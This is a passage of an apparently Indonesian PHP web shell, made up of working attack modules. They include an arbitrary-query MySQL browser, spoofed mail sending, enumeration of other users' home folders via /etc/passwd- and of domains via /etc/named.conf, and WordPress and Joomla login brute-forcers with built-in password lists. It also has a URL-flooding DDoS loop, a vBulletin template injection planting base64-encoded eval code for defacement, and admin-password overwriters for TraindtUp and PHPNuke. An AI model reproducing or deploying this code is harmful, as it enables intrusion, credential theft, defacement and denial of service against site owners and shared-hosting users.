3673$msg .= "<tr><td><a href=\"?azzatssins=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."&table=".$table."\">$table</a></td></tr>";
3674 }
3675 $msg .= "</table>";
3676 }
3677 elseif(isset($_GET['table']) && (!isset($_GET['sqlquery'])))
3678 {
3679 $db = $_GET['db'];
3680 $table = $_GET['table'];
3681 $query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";
3682 $msgq = "<div style=\"width:99%;padding:0 10px;\">
3683<form action=\"?\" method=\"get\">
3684<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
3685<input type=\"hidden\" name=\"x\" value=\"mysql\" />
3686<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
3687<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
3688<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
3689<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
3690<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
3691<input type=\"hidden\" name=\"table\" value=\"".$table."\" />
3692 <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
3693<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
3694</form></div> ";
3695
3696$columns = array();
3697$msg = "<table class=\"explore\" style=\"width:99%;\">";
3698$hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);
3699while(list($column) = @mysql_fetch_row($hasil)){
3700$msg .= "<th>$column</th>"; $kolum = $column;
3701}
3702$msg .= "</tr>";
3703$hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
3704list($total) = mysql_fetch_row($hasil);
3705
3706if(isset($_GET['z'])) $page = (int) $_GET['z'];
3707else $page = 1;
3708$pagenum = 100;
3709$totpage = ceil($total / $pagenum);
3710$start = (($page - 1) * $pagenum);
3711$hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
3712while($datas = @mysql_fetch_assoc($hasil)){
3713$msg .= "<tr>";
3714foreach($datas as $data){ if(trim($data) == "") $data = " "; $msg .= "<td>$data</td>"; }
3715$msg .= "</tr>";
3716}
3717$msg .= "</table>";
3718$head = "<div style=\"padding:10px 0 0 6px;\"><form action=\"?\" method=\"get\">
3719<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
3720<input type=\"hidden\" name=\"x\" value=\"mysql\" />
3721<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
3722<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
3723<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
3724<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
3725<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
3726<input type=\"hidden\" name=\"table\" value=\"".$table."\" />
3727Page <select class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">";
3728for($i = 1;$i <= $totpage;$i++){
3729$head .= "<option value=\"".$i."\">".$i."</option>";
3730if($i == $_GET['z']) $head .= "<option value=\"".$i."\" selected=\"selected\">".$i."</option>";
3731}
3732$head .= "</select><noscript><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" /></noscript></form></div>";
3733$msg = $msgq.$head.$msg;
3734}
3735 elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){
3736$db = $_GET['db'];
3737$query = magicboom($_GET['sqlquery']);
3738$msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
3739<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
3740<input type=\"hidden\" name=\"x\" value=\"mysql\" />
3741<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
3742<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
3743<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
3744<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
3745<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
3746<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
3747<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p></form></div> ";
3748 @mysql_select_db($db);
3749$querys = explode(";",$query); foreach($querys as $query){
3750if(trim($query) != ""){
3751$hasil = mysql_query($query);
3752
3753if($hasil){
3754$msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";
3755<span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>";
3756$msg .= "<table class=\"explore\" style=\"width:99%;\"><tr>";
3757 for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";
3758$msg .= "</tr>";
3759 for($i=0;$i<@mysql_num_rows($hasil);$i++) {
3760$rows=@mysql_fetch_array($hasil);
3761$msg .= "<tr>";
3762for($j=0;$j<@mysql_num_fields($hasil);$j++) {
3763 if($rows[$j] == "") $dataz = " ";
3764else $dataz = $rows[$j];
3765$msg .= "<td>".$dataz."</td>";
3766}
3767$msg .= "</tr>";
3768}
3769$msg .= "</table>";
3770}
3771else
3772$msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query."; <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
3773}
3774}
3775}
3776else {
3777$query = "SHOW PROCESSLIST;\n SHOW VARIABLES;\n SHOW STATUS;";
3778$msg = "<div style=\"width:99%;padding:0 10px;\">
3779<form action=\"?\" method=\"get\">
3780<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
3781<input type=\"hidden\" name=\"x\" value=\"mysql\" />
3782<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
3783<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
3784<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
3785<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
3786<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
3787<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
3788<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
3789</form></div> ";
3790
3791$dbs = array();
3792$msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available databases</th></tr>";
3793$hasil = @mysql_list_dbs($con);
3794while(list($db) = @mysql_fetch_row($hasil)){ @array_push($dbs,$db); }
3795@sort($dbs);
3796foreach($dbs as $db){
3797$msg .= "<tr><td><a href=\"?azzatssins=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."\">$db</a></td></tr>";
3798}
3799$msg .= "</table>";
3800}
3801@mysql_close($con);
3802}
3803else $msg = "<p style=\"text-align:center;\">cant connect to mysql server</p>";
3804echo $msg;
3805}
3806else{
3807?>
3808<form action="?" method="get">
3809<input type="hidden" name="azzatssins" value="<?php echo $pwd; ?>" />
3810<input type="hidden" name="x" value="mysql" />
3811<table class="tabnet" style="width:300px;">
3812<tr>
3813<th colspan="2">Connect to mySQL server</th>
3814</tr>
3815<tr>
3816<td> Host</td>
3817<td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr>
3818<tr>
3819<td> Username</td>
3820<td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr>
3821<tr>
3822<td> Password</td>
3823<td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr>
3824<tr>
3825<td> Port</td>
3826<td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" /> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td>
3827</tr></table></form>
3828
3829<?php } }
3830elseif(isset($_GET['x']) && ($_GET['x'] == 'mail')) {
3831if(isset($_POST['mail_send'])) {
3832$mail_to = $_POST['mail_to'];
3833$mail_from = $_POST['mail_from'];
3834$mail_subject = $_POST['mail_subject'];
3835$mail_content = magicboom($_POST['mail_content']); if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from"))
3836{ $msg = "email sent to $mail_to"; }
3837else $msg = "send email failed";
3838}
3839?>
3840<form action="?y=<?php echo $pwd; ?>&x=mail" method="post">
3841<table class="cmdbox"> <tr>
3842<td><textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey admin, please patch your site :)</textarea></td></tr>
3843<tr>
3844<td> <input class="inputz" style="width:20%;" type="text" value="admin@somesome.com" name="mail_to" /> mail to</td></tr>
3845<tr><td> <input class="inputz" style="width:20%;" type="text" value="gue@ganteng.com" name="mail_from" /> from</td></tr>
3846<tr><td> <input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" /> subject</td></tr>
3847<tr><td> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr>
3848<tr><td> <?php echo $msg; ?>
3849</td></tr>
3850</table> </form>
3851
3852
3853<?php }
3854#x=jumping
3855elseif(isset($_GET['x']) && ($_GET['x'] == 'jumping')) { ?>
3856
3857<form action="?azzatssins=<?php echo $pwd; ?>&x=jumping" method="post">
3858
3859<?php
3860($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<center><br/><br/><nobr><span class=b9>SAFE MODE ON</span></nobr><br/><br/></center> ');
3861set_time_limit(0);
3862@$passwd = fopen('/etc/passwd-','r');
3863if (!$passwd) {
3864die('<center><br/><br/><nobr><span class=b9>READ ETC/PASSWD- NOT AVAILABLE</span></nobr><br/><br/></center>');
3865}
3866$pub = array();
3867$users = array();
3868$conf = array();
3869$i = 0;
3870while(!feof($passwd)) {
3871$str = fgets($passwd);
3872if ($i > 10) {
3873$pos = strpos($str,':');
3874$username = substr($str,0,$pos);
3875$dirz = '/home/'.$username.'/public_html/';
3876if (($username != '')) {
3877if (is_readable($dirz)) {
3878array_push($users,$username);
3879array_push($pub,$dirz);
3880}
3881}
3882}
3883$i++;
3884}
3885echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ READABLE</span> <span class='b8'>PUBLIC_HTML ]:=O</span></b></nobr><br/><br/><table align='center' border='3' width='200' cellspacing='0' cellpadding='0'>
3886<tr><th><b>TOTAL : ".sizeof($pub)." TARGET VICTIM"."</th></tr>";
3887foreach ($users as $user) {
3888$path = "/home/$user/public_html/";
3889echo "<tr>";
3890echo "<td><a href='?azzatssins=$path' target='_blank' style='font-weight:bold; color:#FFFFFF;'>$path</td>";
3891}
3892echo "</tr>";
3893echo "</table></center></body></html>";
3894}
3895
3896# x=domain
3897elseif(isset($_GET['x']) && ($_GET['x'] == 'domain')) { ?>
3898<form action="?azzatssins=<?php echo $pwd; ?>&x=domain" method="post">
3899
3900<?php
3901echo '<br><br></center><br><br><div class=content>';
3902$file = @implode(@file("/etc/named.conf"));
3903if(!$file){ die("can't ReaD -> [ /etc/named.conf ");
3904}
3905preg_match_all("#named/(.*?).db#",$file ,$r);
3906$domains = array_unique($r[1]);
3907//check();
3908//if(isset($_GET['ShowAll']))
3909{
3910echo "<table align=center border=1 width=59% cellpadding=5>
3911<tr><td colspan=2>[+] ADA [ <b>".count($domains)."</b> ] DOMAIN</td></tr>
3912<tr><td>Domain</td><td>User</td></tr>";
3913foreach($domains as $domain){
3914$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
3915echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
3916}
3917echo "</table>";
3918}
3919echo '</div>';
3920}
3921
3922
3923# x=crypter
3924elseif(isset($_GET['x']) && ($_GET['x'] == 'crypter')) {
3925$submit= $_POST['enter'];
3926$pass = $_POST['password'];
3927
3928if(isset($submit)) {
3929$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN';
3930$hash = md5($pass);
3931$hash_md5 = md5($salt.$pass);
3932$hash_md5_double = md5(sha1($salt.$pass));
3933$hash1 = sha1($pass);
3934$hash1_sha1 = sha1($salt.$pass);
3935$hash1_sha1_double = sha1(md5($salt.$pass));
3936}
3937echo '<form action="" method="post"><b><table class=tabnet>';
3938echo '<tr><th colspan="2">Password Hash</th></center></tr>';
3939echo '<tr><td><b>Masukan Kata : </b></td>';
3940echo '<td><input class="inputz" type="text" name="password" size="40" />';
3941echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
3942echo '</td></tr><br>';
3943echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
3944echo '<tr><td>Original</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr><br><br>';
3945echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr><br><br>';
3946echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr><br><br>';
3947echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr><br><br>';
3948echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr><br><br>';
3949echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr><br><br>';
3950echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr><br><br></table>';
3951}
3952
3953
3954# x=wp1
3955elseif(isset($_GET['x']) && ($_GET['x'] == 'wp1')) { ?>
3956<form action="?azzatssins=<?php echo $pwd; ?>&x=wp1" method="post">
3957
3958<center><br/><br/>
3959<form enctype="multipart/form-data" method="POST">
3960<table width='624' border='0' class='tabnet' id='Box'>
3961<tr><th colspan="5">Wordpress Brute Force</th></tr>
3962<tr><td > </td>
3963<td><p>Hosts:</p></td>
3964<td><p>Users:</p></td>
3965<td><p>Passwords:</p></td></tr>
3966<tr><td> </td>
3967<td ><textarea style="background:black;" name="hosts" cols="30" rows="10" ><?php if($_POST){echo $_POST['hosts'];} ?></textarea></td>
3968<td><textarea style="background:black;" name="usernames" cols="30" rows="10" ><?php if($_POST){echo $_POST['usernames'];}else {echo "admin";} ?></textarea></td>
3969<td ><textarea style="background:black;" name="passwords" cols="30" rows="10" >
3970
3971<?php if($_POST){echo$_POST['passwords'];}else {echo"admin\nadministrator\nadmin123\nqwerty\n123qwerty\nqwerty12345\n123admin\12345admin\nqwe123rty\n123123\n123321\n123456\n1234567\n12345678\n123456789\n123456123456\nadmin2010\nadmin2011\npassword\nP@ssW0rd\n!@#$%^\n!@#$%^&*(\n(*&^%$#@!\n111111\n222222\n333333\n444444\n555555\n666666\n777777\n888888\n999999";}?></textarea></td></tr>
3972<tr><td colspan="4"><input class='inputzbut' type="submit" name="submit" value="Brute Now" />
3973<?php
3974if($_POST){
3975$hosts = trim(filter($_POST['hosts']));
3976$passwords = trim(filter($_POST['passwords']));
3977$usernames = trim(filter($_POST['usernames']));
3978
3979if($passwords && $usernames && $hosts)
3980{
3981$hosts_explode = explode("\n", $hosts);
3982$usernames_explode = explode("\n", $usernames);
3983$passwords_explode = explode("\n", $passwords);
3984
3985foreach($hosts_explode as $host)
3986{
3987$host = RemoveLastSlash($host);
3988$hacked = 0;
3989$host = str_replace(array("http://","https://","www."),"",trim($host));
3990$host = "http://".$host;
3991$wpAdmin = $host.'/wp-admin/';
3992
3993if(!url_exists($host."/wp-login.php"))
3994{echo "<p>".$host." => <font color='red'>Error In Login Page !</font></p>";
3995ob_flush();
3996flush();
3997continue;
3998}
3999foreach($usernames_explode as $username)
4000{
4001foreach($passwords_explode as $password)
4002{
4003$ch = curl_init();
4004curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
4005curl_setopt($ch,CURLOPT_URL,$host.'/wp-login.php');
4006curl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt");
4007curl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt");
4008curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
4009curl_setopt($ch,CURLOPT_POST,TRUE);
4010curl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password."&wp-submit=Giri‏"."&redirect_to=".$wpAdmin."&testcookie=1");
4011$login =curl_exec($ch);
4012
4013if(eregi("profile.php",$login)) {
4014$hacked = 1;
4015echo "<p>".$host." => UserName : [<font color='green'>".$username."</font>] : Password : [<font color='green'>".$password."</font>]</p>";
4016ob_flush();
4017flush();
4018break;
4019}
4020}
4021if($hacked == 1){break;}
4022}
4023if($hacked == 0)
4024{echo "<p>".$host." => <font color='red'>Failed !</font></p>";ob_flush();flush();}
4025}
4026}
4027else {echo "<p><font color='red'>All fields are Required ! </font></p>";}
4028}
4029?>
4030</td></tr>
4031</table></form></center>
4032<?php
4033function url_exists($strURL) {
4034$resURL = curl_init();
4035curl_setopt($resURL, CURLOPT_URL, $strURL);
4036curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
4037curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
4038curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
4039curl_exec ($resURL);
4040
4041$intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
4042curl_close ($resURL);
4043
4044if ($intReturnCode != 200){return false;} else {return true ;}
4045}
4046function filter($string)
4047{
4048 if(get_magic_quotes_gpc() != 0){return stripslashes($string); }
4049 else{return $string; }
4050}
4051function RemoveLastSlash($host)
4052{
4053 if(strrpos($host, '/', -1) == strlen($host)-1)
4054 {return substr($host,0,strrpos($host, '/', -1));}
4055 else{return $host;}
4056}
4057echo "</p>";
4058}
4059
4060# x=jm1
4061elseif(isset($_GET['x']) && ($_GET['x'] == 'jm1')) { ?>
4062<form action="?azzatssins=<?php echo $pwd; ?>&x=jm1" method="post">
4063<center><br /><br />
4064<form method="post" action="" enctype="multipart/form-data">
4065<table class="tabnet" width="38%" border="0"><center>
4066<th colspan="2">Joomla Brute Force</th>
4067<tr>
4068<td><p ><font class="d1">User :</font></th>
4069<input class="inputz" type='text' name="usr" value="admin" size="15"> </font></center><br /><br /></p>
4070</td></tr>
4071<tr><td><font class="">Sites list :</font>
4072</td><td><font class="" >Pass list :</font></td></tr>
4073<tr><td>
4074<textarea name="sites" style="background:black;" cols="40" rows="13" ></textarea>
4075</td><td>
4076<textarea name="w0rds" style="background:black;" cols="40" rows="13" >
4077admin
4078123qwe456rty
4079qwerty
4080fuck
4081administrator
4082passjomla
4083adminpass
4084123456
4085password
4086102030
4087123123
408812345
4089123456789
4090pass
4091test
4092admin123
4093demo
4094!@#$%^</textarea>
4095</td></tr><center><tr><td>
4096<font >
4097<input class="inputzbut" type="submit" name="x" value=" >> " id="d4">
4098</font></td></tr><br><br></center></table>
4099</form></center>
4100<?
4101@set_time_limit(0);
4102
4103if($_POST['x']){
4104echo "<hr>";
4105$sites = explode("\n",$_POST["sites"]);
4106$w0rds = explode("\n",$_POST["w0rds"]);
4107$Attack = new Joomla_brute_Force();
4108foreach($w0rds as $pwd){
4109foreach($sites as $site){
4110$Attack->check_it(txt_cln($site),$_POST['usr'],txt_cln($pwd));
4111flush();flush();
4112} } }
4113
4114
4115function txt_cln($value) {
4116return str_replace(array("\n","\r"),"",$value);
4117}
4118
4119class Joomla_brute_Force{
4120public function check_it($site,$user,$pass){
4121
4122if(eregi('com_config',$this->post($site,$user,$pass))){
4123echo "<span class=\"x2\"><b># Success : $user:$pass -> <a href='$site/administrator/index.php'>$site/administrator/index.php</a></b></span><BR>";
4124$f = fopen("Result.txt","a+");
4125fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php\n");
4126fclose($f);
4127flush();
4128} else {
4129echo "# Failed : $user:$pass -> $site<BR>"; flush();
4130}
4131}
4132
4133public function post($site,$user,$pass){
4134$token = $this->extract_token($site);
4135$curl=curl_init();
4136
4137curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
4138curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
4139@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
4140@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
4141curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
4142@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
4143curl_setopt($curl,CURLOPT_POST,1);
4144curl_setopt($curl,CURLOPT_POSTFIELDS,'username='.$user.'&passwd='.$pass.'&lang=en-GB&option=com_login&task=login&'.$token.'=1');
4145curl_setopt($curl,CURLOPT_TIMEOUT,20);
4146
4147$exec=curl_exec($curl);
4148curl_close($curl);
4149return $exec;
4150}
4151
4152public function extract_token($site){
4153$source = $this->get_source($site);
4154preg_match_all("/type=\"hidden\" name=\"([0-9a-f]{32})\" value=\"1\"/si" ,$source,$token);
4155return $token[1][0];
4156}
4157
4158public function get_source($site){
4159$curl=curl_init();
4160curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
4161curl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php");
4162@curl_setopt($curl,CURLOPT_COOKIEFILE,'cookie.txt');
4163@curl_setopt($curl,CURLOPT_COOKIEJAR,'cookie.txt');
4164curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4');
4165@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
4166curl_setopt($curl,CURLOPT_TIMEOUT,20);
4167
4168$exec=curl_exec($curl);
4169curl_close($curl);
4170return $exec;
4171}
4172}
4173}
4174
4175
4176
4177elseif(isset($_GET['x']) && ($_GET['x'] == 'phpddos')) {
4178?>
4179<form action="?azzatssins=<?php echo $pwd; ?>&x=phpddos" method="post">
4180
4181
4182<?php
4183
4184echo $head.$formg.$nowaddress.'<br><br><br><title>-=[ Ddos tool ]=-</title><br><br><table class="tabnet" ><b><p align="center">Address : <input class=inputz name=urldd0 size=50> Time : <input class=inputz name=timedd0 size=6 value=40000></b><br><input class="inputzbut"type=submit value=" Get Fire!!! "></form></p></table>'.$end;exit;
4185
4186
4187
4188if($_GET['urldd0'] && $_GET['timedd0']){
4189for ($id=0;$$id<$_GET['timedd0'];$id++){
4190$fp=null;
4191$contents=null;
4192$fp=fopen($_GET['urldd0'],"rb");
4193
4194while (!feof($fp)) {
4195
4196$contents .= fread($fp, 8192);
4197}
4198fclose($fp);
4199}
4200}
4201}
4202
4203
4204
4205# x=cloud
4206elseif(isset($_GET['x']) && ($_GET['x'] == 'cf')){
4207echo '<center><br/><br/>
4208<form method="POST">
4209<select class="inputz" name="krz">
4210<option>FTP</option>
4211<option>DIRECT</option>
4212<option>WEBMAIL</option>
4213<option>CPANEL</option></select>
4214
4215<input class="inputz" type="text" name="target" value="url">
4216<input class="inputzbut" type="submit" value=" >> "></center>';
4217
4218
4219$target = $_POST['target'];
4220
4221if($_POST['krz'] == "ftp") {
4222$ftp = gethostbyname("ftp."."$target");echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
4223Ip Is : </font><font face='Tahoma' size='2' color='#F68B1F'>$ftp</font></p>";
4224}
4225
4226if($_POST['krz'] == "direct-connect") {
4227$direct = gethostbyname("direct-connect."."$target");
4228echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
4229Ip Is : </font><font face='Tahoma' size='2' color='#F68B1F'>$direct</font></p>";
4230}
4231
4232if($_POST['krz'] == "webmail") {
4233$web = gethostbyname("webmail."."$target");
4234echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
4235Ip Is : </font><font face='Tahoma' size='2' color='#F68B1F'>$web</font></p>";
4236}
4237
4238if($_POST['krz'] == "cpanel") {
4239$cpanel = gethostbyname("cpanel."."$target");
4240echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
4241Ip Is : </font><font face='Tahoma' size='2' color='#F68B1F'>$cpanel</font></p>";
4242}
4243}
4244
4245
4246# x=vb1
4247elseif(isset($_GET['x']) && ($_GET['x'] == 'vb1')){
4248?>
4249<form action="?azzatssins=<?php echo $pwd; ?>&x=vb1" method="post">
4250
4251
4252<br><br><br><div align="center">
4253<?php
4254if(empty($_POST['index'])){
4255echo "<center><form method=\"POST\">
4256DB Host : <input size=\"15\" value=\"localhost\" style='color:#FF0000;background-color:#000000' name=\"localhost\" type=\"text\"><br>
4257DB Name : <input size=\"15\" style='color:#FF0000;background-color:#000000' value=\"\" name=\"database\" type=\"text\"><br>
4258DB User : <input size=\"15\" style='color:#FF0000;background-color:#000000' value=\"\" name=\"username\" type=\"text\"><br>
4259DB Pass : <input size=\"15\" style='color:#FF0000;background-color:#000000' value=\"\" name=\"password\" type=\"text\"><br>
4260<br>
4261<textarea name=\"index\" cols=\"100\" rows=\"20\">[+] HALAMAN INDEX DEFACE [+]</textarea><br>
4262<input value=\" >> \" style='color:#FF0000;background-color:#000000' name=\"send\" type=\"submit\">
4263</form></center>";
4264}else{
4265$localhost = $_POST['localhost'];
4266$database = $_POST['database'];
4267$username = $_POST['username'];
4268$password = $_POST['password'];
4269$index = $_POST['index'];
4270@mysql_connect($localhost,$username,$password) or die(mysql_error());
4271@mysql_select_db($database) or die(mysql_error());
4272
4273$index=str_replace("\'","'",$index);
4274
4275$set_index = "{\${eval(base64_decode(\'";
4276
4277$set_index .= base64_encode("echo \"$index\";");
4278
4279
4280$set_index .= "\'))}}{\${exit()}}</textarea>";
4281
4282echo("UPDATE template SET template ='".$set_index."' ") ;
4283$ok=@mysql_query("UPDATE template SET template ='".$set_index."'") or die(mysql_error());
4284
4285if($ok){
4286echo "!! update finish !!<br><br>";
4287}
4288}
4289}
4290
4291// x=traindt
4292elseif(isset($_GET['x']) && ($_GET['x'] == 'traindt')) {
4293// password changer
4294?>
4295<form action="?azzatssins=<?php echo $pwd; ?>&x=traindt" method="post">
4296
4297<?php
4298echo "<html><head><title>TraindtUpLoginChanger</title></head>";
4299echo "<body><center>
4300<h2>^_^ DM_ZONE ^_^</h2>
4301<h3>TraindtUp UsEr-PaSs FuCk3r</h3>
4302<form method=POST action=''>
4303DB HOST<br/>
4304<input style='color:lime;background-color:#000000' value=localhost type=text name=anu1 size='40'><br/>
4305DB NAME<br/>
4306<input style='color:lime;background-color:#000000' type=text name=anu2 size='40'><br/>
4307DB USER<br/>
4308<input style='color:lime;background-color:#000000' type=text name=anu3 size='40'><br/>
4309DB PASSWORD<br/>
4310<input style='color:lime;background-color:#000000' type=password name=anu4 size='40'><br/>
4311<hr style='color:lime;'> <p>TARGET ID ADMIN MAHO<br/>
4312<input value='1' style='color:lime;background-color:#000000' type=text name=idmaho size='20'><br/>
4313NEW ADMIN LOGIN USER<br/>
4314<input value=admin-ganteng style='color:lime;background-color:#000000' type=text name=userbaru size='20'><br/>
4315NEW ADMIN LOGIN PASS<br/>
4316<input value=dm style='color:lime;background-color:#000000' type=password name=passbaru size='20'><br/><p>
4317
4318<input style='color:lime;background-color:#000000' type=submit value='[~] GANTENGIN COK [~] ' ></form>";
4319
4320$anu1 = $_POST['anu1'];
4321$anu2 = $_POST['anu2'];
4322$anu3 = $_POST['anu3'];
4323$anu4 = $_POST['anu4'];
4324@mysql_connect($anu1,$anu3,$anu4);
4325@mysql_select_db($anu2);
4326
4327$idmaho=str_replace("\'","'",$idmaho);
4328$target_id = $_POST['idmaho'];
4329
4330$userbaru=str_replace("\'","'",$userbaru);
4331$ganti_user = $_POST['userbaru'];
4332
4333$passbaru=str_replace("\'","'",$passbaru);
4334$hash_pass = $_POST['passbaru'];
4335$ganti_pass = md5($hash_pass);
4336
4337$sodok1 = "UPDATE admin SET admin_user ='".$ganti_user."' WHERE admin_id ='".$target_id."'";
4338$sodok2 = "UPDATE admin SET admin_password ='".$ganti_pass."' WHERE admin_id ='".$target_id."'";
4339
4340$oke=@mysql_query($sodok1);
4341$oke=@mysql_query($sodok2);
4342if($oke)
4343{
4344echo "<center><font color='lime'>SUKSES BOS GANTENG :P</font>";
4345}
4346}
4347
4348// x=nuke
4349elseif(isset($_GET['x']) && ($_GET['x'] == 'nuke')) {
4350// password changer
4351?>
4352<form action="?azzatssins=<?php echo $pwd; ?>&x=nuke" method="post">
4353
4354<?php
4355echo "<html><head><title>PHPNukeLoginChanger</title></head>";
4356echo "<body><center>
4357<h2>^_^ DM_ZONE ^_^</h2>
4358<h3>PHPNuke UsEr-PaSs FuCk3r</h3>
4359<form method=POST action=''>
4360DB HOST<br/>
4361<input style='color:lime;background-color:#000000' value=localhost type=text name=anu1 size='40'><br/>
4362DB NAME<br/>
4363<input style='color:lime;background-color:#000000' type=text name=anu2 size='40'><br/>
4364DB USER<br/>
4365<input style='color:lime;background-color:#000000' type=text name=anu3 size='40'><br/>
4366DB PASSWORD<br/>
4367<input style='color:lime;background-color:#000000' type=password name=anu4 size='40'><br/>
4368<hr style='color:lime;'>
4369
4370TARGET PREFIX<br/>
4371<input style='color:lime;background-color:#000000' type=txt name=prefix size='20'><br/>
4372NEW ADMIN LOGIN USER<br/>
4373<input value=admin style='color:lime;background-color:#000000' type=text name=userbaru size='20'><br/>
4374NEW ADMIN LOGIN PASS<br/>
4375<input value=dm style='color:lime;background-color:#000000' type=password name=passbaru size='20'><br/><p>
4376
4377<input style='color:lime;background-color:#000000' type=submit value='[~] GANTENGIN COK [~] ' ></form>";
4378
4379$anu1 = $_POST['anu1'];
